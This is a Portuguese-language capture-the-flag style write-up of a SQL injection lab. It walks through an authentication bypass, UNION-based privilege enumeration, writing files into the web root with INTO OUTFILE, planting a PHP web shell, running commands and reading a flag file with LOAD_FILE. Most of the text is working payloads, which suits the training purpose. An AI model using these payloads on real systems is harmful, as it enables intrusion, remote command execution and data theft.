# Skills Assessment - SQL Injection Fundamentals

Ao visitar o endereço IP fornecido na pergunta você encontra a página de login do site da empresa.

<figure><img src="https://4024756925-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZbLrq3t9Su3CqGmkXz7o%2Fuploads%2FUAY3079VARWPecXPrcJc%2Fimage.png?alt=media&#x26;token=91c20b06-5a24-4657-ad91-d96b9870d1b7" alt=""><figcaption></figcaption></figure>

Usei  este payload para fazer o bypass de autenticação

```
' or 1=1 limit 1 -- -+
```

Após o login bem-sucedido, nos deparamos com a página abaixo:

<figure><img src="https://4024756925-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZbLrq3t9Su3CqGmkXz7o%2Fuploads%2FxQwMxC0Cxzln3zECj4xK%2Fimage.png?alt=media&#x26;token=fe9de327-029d-41c7-9174-408a1b7883a2" alt=""><figcaption></figcaption></figure>

Precisamos saber se temos privilégios para ler/gravar dados. Vamos começar descobrindo o usuário logado no momento.

```
' UNION SELECT 1,USER(),3,4,5-- -
```

<figure><img src="https://4024756925-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZbLrq3t9Su3CqGmkXz7o%2Fuploads%2FkqBIBKqfhw3XYQd5s4MV%2Fimage.png?alt=media&#x26;token=ef419ebf-0f5d-4e0d-90bf-a78d96668cd0" alt=""><figcaption></figcaption></figure>

Em seguida, verificamos quais privilégios nosso usuário possui:

```
' UNION SELECT 1, super_priv, 3, 4, 5 FROM mysql.user-- -
```

<figure><img src="https://4024756925-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZbLrq3t9Su3CqGmkXz7o%2Fuploads%2FPEZO9KjODdhRaEy8Scid%2Fimage.png?alt=media&#x26;token=b9652b72-3d3b-47cb-9d58-b24edb466f17" alt=""><figcaption></figcaption></figure>

A resposta é Y, o que confirma que o usuário possui privilégios de superusuário. Estamos especialmente interessados em saber se o usuário possui os privilégios 'FILE' que permitem a leitura e potencial gravação de arquivos no banco de dados.

A variável secure\_file\_priv pode ser lida no banco de dados INFORMATION\_SCHEMA, tabela global\_variables, nas colunas nome\_da\_variável e valor\_da\_variável. Vamos usar as cláusulas UNION e WHERE para filtrar dados específicos da nossa variável. Comente

```
' UNION SELECT 1, variable_name, variable_value, 4, 5 FROM information_schema.global_variables where variable_name="secure_file_priv"-- -
```

<figure><img src="https://4024756925-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZbLrq3t9Su3CqGmkXz7o%2Fuploads%2FZTQZkmLk9cvLZkSDagLH%2Fimage.png?alt=media&#x26;token=3bf95d8f-9cdc-460e-b4cd-ba5d50cdf640" alt=""><figcaption></figcaption></figure>

O valor da variável está vazio, portanto temos acesso a todo o sistema de arquivos. Vamos tentar gravar um arquivo de texto na raiz da web para verificar as permissões de gravação usando a carga útil:&#x20;

```
' union select 1,'file written successfully!',3,4,5 into outfile '/var/www/html/dashboard/proof.txt'-- -
```

Desta vez não há erro e podemos confirmar que o arquivo foi gravado visitando <http://SERVER\\_IP:PORT/dashboard/proof.tx>

<figure><img src="https://4024756925-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZbLrq3t9Su3CqGmkXz7o%2Fuploads%2Fn54mD1Ac5PaEPbH8obGc%2Fimage.png?alt=media&#x26;token=6b0340bc-6f60-4d8c-a048-a06879d9c82f" alt=""><figcaption></figcaption></figure>

Agora podemos escrever um web shell para nos permitir executar comandos diretamente no servidor back end:

```
' union select "",'<?php system($_REQUEST[0]); ?>', "", "", "" into outfile '/var/www/html/dashboard/shell.php'-- -
```

<figure><img src="https://4024756925-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZbLrq3t9Su3CqGmkXz7o%2Fuploads%2FHMG2X0FpzKAo4bmZbn90%2Fimage.png?alt=media&#x26;token=fae531be-e4bb-41e1-8910-ff424cb4ee2f" alt=""><figcaption></figcaption></figure>

Vamos agora usar a carga útil para pesquisar no sistema de arquivos. Podemos começar imprimindo o diretório de trabalho:

```
' union select "",'<?php system(pwd); ?>', "", "", "" into outfile '/var/www/html/dashboard/shell1.php'-- -
```

Os resultados de <https://IP> :PORT/dashboard/shell1.php são /var/www/html/dashboard Comente

Vamos navegar até o diretório raiz com a carga:

```
' union select "",'<?php system("dir /"); ?>', "", "", "" into outfile '/var/www/html/dashboard/shell2.php'-- -
```

<figure><img src="https://4024756925-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZbLrq3t9Su3CqGmkXz7o%2Fuploads%2FHmhm6cqZxAIXXREbZlPG%2Fimage.png?alt=media&#x26;token=cb49ac92-ffc9-4e09-b863-911de87dfc8a" alt=""><figcaption></figcaption></figure>

Vamos carregar o arquivo para ler seu conteúdo usando o payload:

```
' UNION SELECT 1,LOAD_FILE("/flag_cae1dadcd174.txt"),3,4,5-- -
```

<figure><img src="https://4024756925-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZbLrq3t9Su3CqGmkXz7o%2Fuploads%2FmeM7JJeytEj7nz93P2hk%2Fimage.png?alt=media&#x26;token=3057a359-e52a-48c3-979c-dec175a69b57" alt=""><figcaption></figcaption></figure>
